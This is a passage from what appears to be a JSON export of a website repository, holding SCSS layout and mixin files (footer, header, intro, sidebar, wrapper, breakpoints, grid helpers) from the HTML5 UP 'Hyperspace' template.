_palette(accent3-alt);\n\t\t}\n\n\t\t&.fullscreen {\n\t\t\t@include vendor('display', 'flex');\n\t\t\t@include vendor('flex-direction', 'column');\n\t\t\t@include vendor('justify-content', 'center');\n\t\t\tmin-height: 100vh;\n\n\t\t\tbody.is-ie & {\n\t\t\t\theight: 100vh;\n\t\t\t}\n\n\t\t\t@include breakpoint('<=large') {\n\t\t\t\tmin-height: calc(100vh - 2.5em);\n\n\t\t\t\tbody.is-ie & {\n\t\t\t\t\theight: calc(100vh - 2.5em);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t@include breakpoint('<=small') {\n\t\t\t\tpadding: 2em 0;\n\t\t\t\tmin-height: 0;\n\n\t\t\t\tbody.is-ie & {\n\t\t\t\t\theight: auto;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t&.fade-up {\n\t\t\t> .inner {\n\t\t\t\t@include vendor('transform', 'translateY(0)');\n\t\t\t\t@include vendor('transition', (\n\t\t\t\t\t'opacity #{_duration(activation)} ease',\n\t\t\t\t\t'transform #{_duration(activation)} ease'\n\t\t\t\t));\n\t\t\t\topacity: 1.0;\n\t\t\t}\n\n\t\t\t&.inactive,\n\t\t\tbody.is-preload & {\n\t\t\t\t> .inner {\n\t\t\t\t\topacity: 0;\n\t\t\t\t\t@include vendor('transform', 'translateY(1em)');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t&.fade-down {\n\t\t\t> .inner {\n\t\t\t\t@include vendor('transform', 'translateY(0)');\n\t\t\t\t@include vendor('transition', (\n\t\t\t\t\t'opacity #{_duration(activation)} ease',\n\t\t\t\t\t'transform #{_duration(activation)} ease'\n\t\t\t\t));\n\t\t\t\topacity: 1.0;\n\t\t\t}\n\n\t\t\t&.inactive,\n\t\t\tbody.is-preload & {\n\t\t\t\t> .inner {\n\t\t\t\t\topacity: 0;\n\t\t\t\t\t@include vendor('transform', 'translateY(-1em)');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t&.fade {\n\t\t\t> .inner {\n\t\t\t\t@include vendor('transition', (\n\t\t\t\t\t'opacity #{_duration(activation)} ease'\n\t\t\t\t));\n\t\t\t\topacity: 1.0;\n\t\t\t}\n\n\t\t\t&.inactive,\n\t\t\tbody.is-preload & {\n\t\t\t\t> .inner {\n\t\t\t\t\topacity: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}"
  },
  {
    "path": "2020/assets/sass/layout/_footer.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Footer */\r\n\r\n\t#footer {\r\n\t\t#sidebar + #wrapper + & {\r\n\t\t\tmargin-left: _size(sidebar-width);\r\n\r\n\t\t\t@include breakpoint('<=large') {\r\n\t\t\t\tmargin-left: 0;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t> .inner {\r\n\t\t\ta {\r\n\t\t\t\tborder-bottom-color: _palette(border);\r\n\r\n\t\t\t\t&:hover {\r\n\t\t\t\t\tborder-bottom-color: transparent;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t.menu {\r\n\t\t\t\tfont-size: 0.8em;\r\n\t\t\t\tcolor: _palette(border);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t#header + #wrapper + & {\r\n\t\t\t> .inner {\r\n\t\t\t\tmargin: 0 auto;\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2020/assets/sass/layout/_header.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Header */\r\n\r\n\t#header {\r\n\t\t@include vendor('display', 'flex');\r\n\t\tbackground-color: _palette(accent1);\r\n\t\tcursor: default;\r\n\t\tpadding: 1.75em 2em;\r\n\r\n\t\t> .title {\r\n\t\t\tborder: 0;\r\n\t\t\tcolor: _palette(fg-bold);\r\n\t\t\tdisplay: block;\r\n\t\t\tfont-size: 1.25em;\r\n\t\t\tfont-weight: _font(weight-bold);\r\n\t\t}\r\n\r\n\t\t> nav {\r\n\t\t\t@include vendor('flex', '1');\r\n\t\t\ttext-align: right;\r\n\r\n\t\t\t> ul {\r\n\t\t\t\tmargin: 0;\r\n\t\t\t\tpadding: 0;\r\n\r\n\t\t\t\t> li {\r\n\t\t\t\t\tdisplay: inline-block;\r\n\t\t\t\t\tmargin-left: 1.75em;\r\n\t\t\t\t\tpadding: 0;\r\n\t\t\t\t\tvertical-align: middle;\r\n\r\n\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\tmargin-left: 0;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\ta {\r\n\t\t\t\t\t\tborder: 0;\r\n\t\t\t\t\t\tcolor: _palette(fg-light);\r\n\t\t\t\t\t\tdisplay: inline-block;\r\n\t\t\t\t\t\tfont-size: 0.6em;\r\n\t\t\t\t\t\tfont-weight: _font(weight-bold);\r\n\t\t\t\t\t\tletter-spacing: _font(kerning-alt);\r\n\t\t\t\t\t\ttext-transform: uppercase;\r\n\r\n\t\t\t\t\t\t&:hover {\r\n\t\t\t\t\t\t\tcolor: _palette(fg);\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t&.active {\r\n\t\t\t\t\t\t\tcolor: _palette(fg-bold);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=small') {\r\n\t\t\tpadding: 1em 2em;\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xsmall') {\r\n\t\t\tdisplay: block;\r\n\t\t\tpadding: 0 2em;\r\n\t\t\ttext-align: left;\r\n\r\n\t\t\t.title {\r\n\t\t\t\tfont-size: 1.25em;\r\n\t\t\t\tpadding: 1em 0;\r\n\t\t\t}\r\n\r\n\t\t\t> nav {\r\n\t\t\t\tborder-top: solid 1px _palette(border);\r\n\t\t\t\ttext-align: inherit;\r\n\r\n\t\t\t\t> ul {\r\n\t\t\t\t\t> li {\r\n\t\t\t\t\t\tmargin-left: 1.5em;\r\n\r\n\t\t\t\t\t\ta {\r\n\t\t\t\t\t\t\theight: 6em;\r\n\t\t\t\t\t\t\tline-height: 6em;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2020/assets/sass/layout/_intro.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Intro */\r\n\r\n\t#intro {\r\n\t\tbackground-attachment: fixed;\r\n\t\tbackground-image: url('images/intro.svg');\r\n\t\tbackground-position: top right;\r\n\t\tbackground-repeat: no-repeat;\r\n\t\tbackground-size: 100% 100%;\r\n\r\n\t\tp {\r\n\t\t\tfont-size: 1.25em;\r\n\r\n\t\t\t@include breakpoint('<=medium') {\r\n\t\t\t\tbr {\r\n\t\t\t\t\tdisplay: none;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint('<=small') {\r\n\t\t\t\tfont-size: 1em;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=large') {\r\n\t\t\tbackground-attachment: scroll;\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2020/assets/sass/layout/_sidebar.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Sidebar */\r\n\r\n\t#sidebar {\r\n\t\t@include padding(2.5em, 2.5em);\r\n\t\tbackground: _palette(bg);\r\n\t\tcursor: default;\r\n\t\theight: 100vh;\r\n\t\tleft: 0;\r\n\t\toverflow-x: hidden;\r\n\t\toverflow-y: auto;\r\n\t\tposition: fixed;\r\n\t\ttext-align: right;\r\n\t\ttop: 0;\r\n\t\twidth: _size(sidebar-width);\r\n\t\tz-index: _misc(z-index-base);\r\n\r\n\t\t> .inner {\r\n\t\t\t@include vendor('display', 'flex');\r\n\t\t\t@include vendor('flex-direction', 'column');\r\n\t\t\t@include vendor('justify-content', 'center');\r\n\t\t\t@include vendor('transform', 'translateY(0)');\r\n\t\t\t@include vendor('transition', (\r\n\t\t\t\t'opacity #{_duration(activation)} ease',\r\n\t\t\t));\r\n\t\t\tmin-height: 100%;\r\n\t\t\topacity: 1;\r\n\t\t\twidth: 100%;\r\n\r\n\t\t\tbody.is-ie & {\r\n\t\t\t\theight: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tnav {\r\n\t\t\t> ul {\r\n\t\t\t\tlist-style: none;\r\n\t\t\t\tpadding: 0;\r\n\r\n\t\t\t\t> li {\r\n\t\t\t\t\t@include vendor('transform', 'translateY(0)');\r\n\t\t\t\t\t@include vendor('transition', (\r\n\t\t\t\t\t\t'opacity #{_duration(activation) * 0.15} ease',\r\n\t\t\t\t\t\t'transform #{_duration(activation) * 0.75} ease'\r\n\t\t\t\t\t));\r\n\t\t\t\t\tmargin: 1.5em 0 0 0;\r\n\t\t\t\t\topacity: 1;\r\n\t\t\t\t\tpadding: 0;\r\n\t\t\t\t\tposition: relative;\r\n\r\n\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\tmargin: 0;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t@for $i from 1 through _misc(max-sidebar-links) {\r\n\t\t\t\t\t\t&:nth-child(#{$i}) {\r\n\t\t\t\t\t\t\t@include vendor('transition-delay', '#{(_duration(activation) * 0.2 * $i) + (_duration(activation) * 0.25)}');\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\ta {\r\n\t\t\t\t@include vendor('transition', 'color #{_duration(transition)} ease');\r\n\t\t\t\tborder: 0;\r\n\t\t\t\tcolor: _palette(fg-light);\r\n\t\t\t\tdisplay: block;\r\n\t\t\t\tfont-size: 0.6em;\r\n\t\t\t\tfont-weight: _font(weight-bold);\r\n\t\t\t\tletter-spacing: _font(kerning-alt);\r\n\t\t\t\tline-height: 1.75;\r\n\t\t\t\toutline: 0;\r\n\t\t\t\tpadding: 1.35em 0;\r\n\t\t\t\tposition: relative;\r\n\t\t\t\ttext-decoration: none;\r\n\t\t\t\ttext-transform: uppercase;\r\n\r\n\t\t\t\t&:before,\r\n\t\t\t\t&:after {\r\n\t\t\t\t\tborder-radius: 0.2em;\r\n\t\t\t\t\tbottom: 0;\r\n\t\t\t\t\tcontent: '';\r\n\t\t\t\t\theight: 0.2em;\r\n\t\t\t\t\tposition: absolute;\r\n\t\t\t\t\tright: 0;\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&:before {\r\n\t\t\t\t\tbackground: lighten(_palette(bg), 5);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&:after {\r\n\t\t\t\t\t@include vendor('background-image', 'linear-gradient(to right, #{_palette(accent1)}, #{_palette(accent3)})');\r\n\t\t\t\t\t@include vendor('transition', 'max-width #{_duration(transition)} ease');\r\n\t\t\t\t\tmax-width: 0;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&:hover {\r\n\t\t\t\t\tcolor: _palette(fg);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.active {\r\n\t\t\t\t\tcolor: _palette(fg-bold);\r\n\r\n\t\t\t\t\t&:after {\r\n\t\t\t\t\t\tmax-width: 100%;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tbody.is-preload & {\r\n\t\t\t> .inner {\r\n\t\t\t\topacity: 0;\r\n\t\t\t}\r\n\r\n\t\t\tnav {\r\n\t\t\t\tul {\r\n\t\t\t\t\tli {\r\n\t\t\t\t\t\t@include vendor('transform', 'translateY(2em)');\r\n\t\t\t\t\t\topacity: 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=large') {\r\n\t\t\theight: _size(sidebar-height);\r\n\t\t\tleft: 0;\r\n\t\t\tline-height: _size(sidebar-height);\r\n\t\t\toverflow: hidden;\r\n\t\t\tpadding: 0;\r\n\t\t\ttext-align: center;\r\n\t\t\ttop: 0;\r\n\t\t\twidth: 100%;\r\n\r\n\t\t\t> .inner {\r\n\t\t\t\t@include vendor('flex-direction', 'row');\r\n\t\t\t\t@include vendor('align-items', 'stretch');\r\n\t\t\t\theight: inherit;\r\n\t\t\t\tline-height: inherit;\r\n\t\t\t}\r\n\r\n\t\t\tnav {\r\n\t\t\t\theight: inherit;\r\n\t\t\t\tline-height: inherit;\r\n\r\n\t\t\t\tul {\r\n\t\t\t\t\t@include vendor('display', 'flex');\r\n\t\t\t\t\theight: inherit;\r\n\t\t\t\t\tline-height: inherit;\r\n\t\t\t\t\tmargin: 0;\r\n\r\n\t\t\t\t\tli {\r\n\t\t\t\t\t\tdisplay: block;\r\n\t\t\t\t\t\theight: inherit;\r\n\t\t\t\t\t\tline-height: inherit;\r\n\t\t\t\t\t\tmargin: 0 0 0 2em;\r\n\t\t\t\t\t\tpadding: 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\ta {\r\n\t\t\t\t\theight: inherit;\r\n\t\t\t\t\tline-height: inherit;\r\n\t\t\t\t\tpadding: 0;\r\n\r\n\t\t\t\t\t&:after {\r\n\t\t\t\t\t\tbackground-image: none;\r\n\t\t\t\t\t\tbackground-color: _palette(accent3);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=small') {\r\n\t\t\tdisplay: none;\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2020/assets/sass/layout/_wrapper.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Wrapper (main) */\r\n\r\n\t#wrapper {\r\n\t\t#sidebar + & {\r\n\t\t\tmargin-left: _size(sidebar-width);\r\n\r\n\t\t\t@include breakpoint('<=large') {\r\n\t\t\t\tmargin-left: 0;\r\n\t\t\t\tpadding-top: _size(sidebar-height);\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint('<=small') {\r\n\t\t\t\tpadding-top: 0;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t#header + & {\r\n\t\t\t> .wrapper {\r\n\t\t\t\t> .inner {\r\n\t\t\t\t\tmargin: 0 auto;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2020/assets/sass/libs/_breakpoints.scss",
    "content": "// breakpoints.scss v1.0 | @ajlkn | MIT licensed */\n\n// Vars.\n\n\t/// Breakpoints.\n\t/// @var {list}\n\t$breakpoints: () !global;\n\n// Mixins.\n\n\t/// Sets breakpoints.\n\t/// @param {map} $x Breakpoints.\n\t@mixin breakpoints($x: ()) {\n\t\t$breakpoints: $x !global;\n\t}\n\n\t/// Wraps @content in a @media block targeting a specific orientation.\n\t/// @param {string} $orientation Orientation.\n\t@mixin orientation($orientation) {\n\t\t@media screen and (orientation: #{$orientation}) {\n\t\t\t@content;\n\t\t}\n\t}\n\n\t/// Wraps @content in a @media block using a given query.\n\t/// @param {string} $query Query.\n\t@mixin breakpoint($query: null) {\n\n\t\t$breakpoint: null;\n\t\t$op: null;\n\t\t$media: null;\n\n\t\t// Determine operator, breakpoint.\n\n\t\t\t// Greater than or equal.\n\t\t\t\t@if (str-slice($query, 0, 2) == '>=') {\n\n\t\t\t\t\t$op: 'gte';\n\t\t\t\t\t$breakpoint: str-slice($query, 3);\n\n\t\t\t\t}\n\n\t\t\t// Less than or equal.\n\t\t\t\t@elseif (str-slice($query, 0, 2) == '<=') {\n\n\t\t\t\t\t$op: 'lte';\n\t\t\t\t\t$breakpoint: str-slice($query, 3);\n\n\t\t\t\t}\n\n\t\t\t// Greater than.\n\t\t\t\t@elseif (str-slice($query, 0, 1) == '>') {\n\n\t\t\t\t\t$op: 'gt';\n\t\t\t\t\t$breakpoint: str-slice($query, 2);\n\n\t\t\t\t}\n\n\t\t\t// Less than.\n\t\t\t\t@elseif (str-slice($query, 0, 1) == '<') {\n\n\t\t\t\t\t$op: 'lt';\n\t\t\t\t\t$breakpoint: str-slice($query, 2);\n\n\t\t\t\t}\n\n\t\t\t// Not.\n\t\t\t\t@elseif (str-slice($query, 0, 1) == '!') {\n\n\t\t\t\t\t$op: 'not';\n\t\t\t\t\t$breakpoint: str-slice($query, 2);\n\n\t\t\t\t}\n\n\t\t\t// Equal.\n\t\t\t\t@else {\n\n\t\t\t\t\t$op: 'eq';\n\t\t\t\t\t$breakpoint: $query;\n\n\t\t\t\t}\n\n\t\t// Build media.\n\t\t\t@if ($breakpoint and map-has-key($breakpoints, $breakpoint)) {\n\n\t\t\t\t$a: map-get($breakpoints, $breakpoint);\n\n\t\t\t\t// Range.\n\t\t\t\t\t@if (type-of($a) == 'list') {\n\n\t\t\t\t\t\t$x: nth($a, 1);\n\t\t\t\t\t\t$y: nth($a, 2);\n\n\t\t\t\t\t\t// Max only.\n\t\t\t\t\t\t\t@if ($x == null) {\n\n\t\t\t\t\t\t\t\t// Greater than or equal (>= 0 / anything)\n\t\t\t\t\t\t\t\t\t@if ($op == 'gte') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Less than or equal (<= y)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'lte') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + $y + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Greater than (> y)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'gt') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + ($y + 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Less than (< 0 / invalid)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'lt') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: -1px)';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Not (> y)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'not') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + ($y + 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Equal (<= y)\n\t\t\t\t\t\t\t\t\t@else {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + $y + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Min only.\n\t\t\t\t\t\t\t@else if ($y == null) {\n\n\t\t\t\t\t\t\t\t// Greater than or equal (>= x)\n\t\t\t\t\t\t\t\t\t@if ($op == 'gte') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + $x + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Less than or equal (<= inf / anything)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'lte') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Greater than (> inf / invalid)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'gt') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: -1px)';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Less than (< x)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'lt') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + ($x - 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Not (< x)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'not') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + ($x - 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Equal (>= x)\n\t\t\t\t\t\t\t\t\t@else {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + $x + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Min and max.\n\t\t\t\t\t\t\t@else {\n\n\t\t\t\t\t\t\t\t// Greater than or equal (>= x)\n\t\t\t\t\t\t\t\t\t@if ($op == 'gte') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + $x + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Less than or equal (<= y)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'lte') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + $y + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Greater than (> y)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'gt') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + ($y + 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Less than (< x)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'lt') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + ($x - 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Not (< x and > y)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'not') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + ($x - 1) + '), screen and (min-width: ' + ($y + 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Equal (>= x and <= y)\n\t\t\t\t\t\t\t\t\t@else {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + $x + ') and (max-width: ' + $y + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t// String.\n\t\t\t\t\t@else {\n\n\t\t\t\t\t\t// Missing a media type? Prefix with \"screen\".\n\t\t\t\t\t\t\t@if (str-slice($a, 0, 1) == '(') {\n\t\t\t\t\t\t\t\t$media: 'screen and ' + $a;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Otherwise, use as-is.\n\t\t\t\t\t\t\t@else {\n\t\t\t\t\t\t\t\t$media: $a;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t}\n\n\t\t// Output.\n\t        @media #{$media} {\n\t\t\t\t@content;\n\t\t\t}\n\n\t}"
  },
  {
    "path": "2020/assets/sass/libs/_functions.scss",
    "content": "/// Removes a specific item from a list.\r\n/// @author Hugo Giraudel\r\n/// @param {list} $list List.\r\n/// @param {integer} $index Index.\r\n/// @return {list} Updated list.\r\n@function remove-nth($list, $index) {\r\n\r\n\t$result: null;\r\n\r\n\t@if type-of($index) != number {\r\n\t\t@warn \"$index: #{quote($index)} is not a number for `remove-nth`.\";\r\n\t}\r\n\t@else if $index == 0 {\r\n\t\t@warn \"List index 0 must be a non-zero integer for `remove-nth`.\";\r\n\t}\r\n\t@else if abs($index) > length($list) {\r\n\t\t@warn \"List index is #{$index} but list is only #{length($list)} item long for `remove-nth`.\";\r\n\t}\r\n\t@else {\r\n\r\n\t\t$result: ();\r\n\t\t$index: if($index < 0, length($list) + $index + 1, $index);\r\n\r\n\t\t@for $i from 1 through length($list) {\r\n\r\n\t\t\t@if $i != $index {\r\n\t\t\t\t$result: append($result, nth($list, $i));\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t}\r\n\r\n\t@return $result;\r\n\r\n}\r\n\r\n/// Gets a value from a map.\r\n/// @author Hugo Giraudel\r\n/// @param {map} $map Map.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function val($map, $keys...) {\r\n\r\n\t@if nth($keys, 1) == null {\r\n\t\t$keys: remove-nth($keys, 1);\r\n\t}\r\n\r\n\t@each $key in $keys {\r\n\t\t$map: map-get($map, $key);\r\n\t}\r\n\r\n\t@return $map;\r\n\r\n}\r\n\r\n/// Gets a duration value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _duration($keys...) {\r\n\t@return val($duration, $keys...);\r\n}\r\n\r\n/// Gets a font value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _font($keys...) {\r\n\t@return val($font, $keys...);\r\n}\r\n\r\n/// Gets a misc value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _misc($keys...) {\r\n\t@return val($misc, $keys...);\r\n}\r\n\r\n/// Gets a palette value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _palette($keys...) {\r\n\t@return val($palette, $keys...);\r\n}\r\n\r\n/// Gets a size value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _size($keys...) {\r\n\t@return val($size, $keys...);\r\n}"
  },
  {
    "path": "2020/assets/sass/libs/_html-grid.scss",
    "content": "// html-grid.scss v1.0 | @ajlkn | MIT licensed */\r\n\r\n// Mixins.\r\n\r\n\t/// Initializes the current element as an HTML grid.\r\n\t/// @param {mixed} $gutters Gutters (either a single number to set both column/row gutters, or a list to set them individually).\r\n\t/// @param {mixed} $suffix Column class suffix (optional; either a single suffix or a list).\r\n\t@mixin html-grid($gutters: 1.5em, $suffix: '') {\r\n\r\n\t\t// Initialize.\r\n\t\t\t$cols: 12;\r\n\t\t\t$multipliers: 0, 0.25, 0.5, 1, 1.50, 2.00;\r\n\t\t\t$unit: 100% / $cols;\r\n\r\n\t\t\t// Suffixes.\r\n\t\t\t\t$suffixes: null;\r\n\r\n\t\t\t\t@if (type-of($suffix) == 'list') {\r\n\t\t\t\t\t$suffixes: $suffix;\r\n\t\t\t\t}\r\n\t\t\t\t@else {\r\n\t\t\t\t\t$suffixes: ($suffix);\r\n\t\t\t\t}\r\n\r\n\t\t\t// Gutters.\r\n\t\t\t\t$guttersCols: null;\r\n\t\t\t\t$guttersRows: null;\r\n\r\n\t\t\t\t@if (type-of($gutters) == 'list') {\r\n\r\n\t\t\t\t\t$guttersCols: nth($gutters, 1);\r\n\t\t\t\t\t$guttersRows: nth($gutters, 2);\r\n\r\n\t\t\t\t}\r\n\t\t\t\t@else {\r\n\r\n\t\t\t\t\t$guttersCols: $gutters;\r\n\t\t\t\t\t$guttersRows: 0;\r\n\r\n\t\t\t\t}\r\n\r\n\t\t// Row.\r\n\t\t\tdisplay: flex;\r\n\t\t\tflex-wrap: wrap;\r\n\t\t\tbox-sizing: border-box;\r\n\t\t\talign-items: stretch;\r\n\r\n\t\t\t// Columns.\r\n\t\t\t\t> * {\r\n\t\t\t\t\tbox-sizing: border-box;\r\n\t\t\t\t}\r\n\r\n\t\t\t// Gutters.\r\n\t\t\t\t&.gtr-uniform {\r\n\t\t\t\t\t> * {\r\n\t\t\t\t\t\t> :last-child {\r\n\t\t\t\t\t\t\tmargin-bottom: 0;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t// Alignment.\r\n\t\t\t\t&.aln-left {\r\n\t\t\t\t\tjustify-content: flex-start;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.aln-center {\r\n\t\t\t\t\tjustify-content: center;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.aln-right {\r\n\t\t\t\t\tjustify-content: flex-end;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.aln-top {\r\n\t\t\t\t\talign-items: flex-start;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.aln-middle {\r\n\t\t\t\t\talign-items: center;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.aln-bottom {\r\n\t\t\t\t\talign-items: flex-end;\r\n\t\t\t\t}\r\n\r\n\t\t// Step through suffixes.\r\n\t\t\t@each $suffix in $suffixes {\r\n\r\n\t\t\t\t// Suffix.\r\n\t\t\t\t\t@if ($suffix != '') {\r\n\t\t\t\t\t\t$suffix: '-' + $suffix;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t@else {\r\n\t\t\t\t\t\t$suffix: '';\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t// Row.\r\n\r\n\t\t\t\t\t// Important.\r\n\t\t\t\t\t\t> .imp#{$suffix} {\r\n\t\t\t\t\t\t\torder: -1;\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// Columns, offsets.\r\n\t\t\t\t\t\t@for $i from 1 through $cols {\r\n\t\t\t\t\t\t\t> .col-#{$i}#{$suffix} {\r\n\t\t\t\t\t\t\t\twidth: $unit * $i;\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t> .off-#{$i}#{$suffix} {\r\n\t\t\t\t\t\t\t\tmargin-left: $unit * $i;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// Step through multipliers.\r\n\t\t\t\t\t\t@each $multiplier in $multipliers {\r\n\r\n\t\t\t\t\t\t\t// 